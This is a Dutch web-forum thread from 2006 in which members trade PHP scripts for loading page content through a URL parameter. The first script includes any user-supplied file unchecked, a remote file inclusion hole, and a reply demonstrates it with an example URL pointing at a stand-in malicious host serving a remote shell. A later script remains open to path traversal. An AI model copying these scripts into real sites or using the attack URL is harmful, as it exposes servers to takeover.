PDA

Bekijk Volledige Versie : kan iemand mij helpen met slicen



Wis
14/12/06, 17:44
ik heb wat hulp nodig met slicen

ik heb een mooi pagina-tje gemaakt en ben deze aan het slicen. ik werk natuurlijk met links duuuuh. maar nu moet de content die geladen worden in het midden van de pagina geladen worden beetje zoals frames. hoe krijg ik dat voor elkaar. mijn bedoeling is dat de pagina niet steeds opnieuw geladen moet worden.

Justin Nijs
14/12/06, 18:07
Met een pagina-script lijkt mij.


<?php
if(isset($_GET['p']")){
include(''.$_GET['p'].'.php');
}else{
include('home.php');
}
?>

Nu moet je de link zo maken:
index.php?p=henk, dan toont hij henk.php.
Er zit nu geen 404 pagina id enz., als je die wel graag zou willen voeg je me maar toe op msn (XoniX@Xialight.com) of stuur je me maar pm ;).
Hopelijk begrijp je het een beetje, als het niet lukt laat je het maar weten ;).

wonko
14/12/06, 20:10
De code hierboven is zo onveilig als maar kan, er zit geen enkele controle op wat er ingevoegd wordt in de pagina! Zet dit zeker nooit online!!!

Aan de TS, als je de inhoud maar gedeeltelijk wenst te laden dien je te kijken naar frames of naar ajax technieken. Als je echter gewoon begint met een pagina, maak deze dan gewoon zodat hij telkens de volledige pagina herbouwt; een browser is zo slim dat hij niet elk plaatje terug gaat ophalen van de server... Bijna elke site is zo gebouwd, dus maak je geen zorgen over performantie en dergelijke meer...

Justin Nijs
14/12/06, 20:15
Wat raad jij dan aan, Wonko?
Een beveilliging kun je erin gooien, maar waartegen beveilligen? Als de rest correct is opgebouwt kan het totaal geen kwaad.

wonko
14/12/06, 20:27
Waartegen beveiligen?! Cross site scripting attacks misschien, om maar iets te noemen?

Beeld je even in dat ik de volgende url intik:

http://www.domain.tld/pad/naar/je/script.php?p=http://www.slechtesite.tld/scriptmeteenremoteshell

Wat zal er gebeuren volgens u?

Dit gaat trouwens een beetje off-topic, feel free om er een nieuwe thread over te beginnen.

De TS kan php gebruiken om headers en footers en dergelijke eenvoudig in te voegen, maar hij kan er maar beter op letten includes niet letterlijk over te nemen uit get en post requests. Gegarandeerd vodden binnen de 5 dagen.

Justin Nijs
14/12/06, 20:34
Waartegen beveiligen?! Cross site scripting attacks misschien, om maar iets te noemen?

Beeld je even in dat ik de volgende url intik:

http://www.domain.tld/pad/naar/je/script.php?p=http://www.slechtesite.tld/scriptmeteenremoteshell

Wat zal er gebeuren volgens u?

Dit gaat trouwens een beetje off-topic, feel free om er een nieuwe thread over te beginnen.

De TS kan php gebruiken om headers en footers en dergelijke eenvoudig in te voegen, maar hij kan er maar beter op letten includes niet letterlijk over te nemen uit get en post requests. Gegarandeerd vodden binnen de 5 dagen.
Mja, nu u het zegt. Gelukkig heb ik het nog (bijna) nergens toegepast. Ik ga gelijk een nieuwe methode inbouwen in de sites waar ik het wel heb gebruikt.
Bedankt voor de geweldige tip.

Ramon Fincken
14/12/06, 21:34
// Security..
define('IN_HOME',true);
$rootpath = './pages/';

$filename = 'index'; // Base case..
$not_found_filename = 'under_contruction'; // Of neem hier index.php
$ext = '.php';


if(isset($_GET['pagina']) && strlen($_GET['pagina']) > 0) $filename = $_GET['pagina'];

$filename .= $ext;
$not_found_filename .= $ext;

if(file_exists( $rootpath.$filename))
{
include($rootpath.$filename);
}
else if( file_exists( $rootpath.$not_found_filename) ) {
include( $rootpath.$not_found_filename) ;
}
else
{
die('De pagina kon niet worden gevonden..');
}

Remigius
14/12/06, 23:14
Je kan het ook eenvoudig als volgt doen. Dit is naar mijn weten vrij veilig.



<!-- Hier wat HTML -->

<?php

switch ($_GET['pagina'])
{
case 'home': include('home.php'); break;
case 'diensten': include('diensten.php'); break;
default: include('home.php'); break;
}

?>

<!-- Nog meer HTML -->


Op deze manier kan je ook eenvoudig pagina's laden die je buiten de webroot heb staan.

Ramon Fincken
14/12/06, 23:18
een switch of array is ook een prima optie als je niet al te veel bestanden wil includen

je code test echter niet of de pagina bestaat, maarja dat is naar eigen smaak toe te voegen.

Remigius
14/12/06, 23:20
een switch of array is ook een prima optie als je niet al te veel bestanden wil includen

je code test echter niet of de pagina bestaat, maarja dat is naar eigen smaak toe te voegen.
Ik dacht laat ik het maar simpel houden :)

Aessence
15/12/06, 10:09
Ehh... Even zonder PHP, want daar snap ik toch niets van.

Kan TS z'n content niet gewoon in een DIV-je zetten (en via CSS positioneren)?

George/

Ramon Fincken
15/12/06, 15:56
daar vroeg hij toch niet om?

of bedoel je divjes op hidden zetten en dan een voor een aanzetten?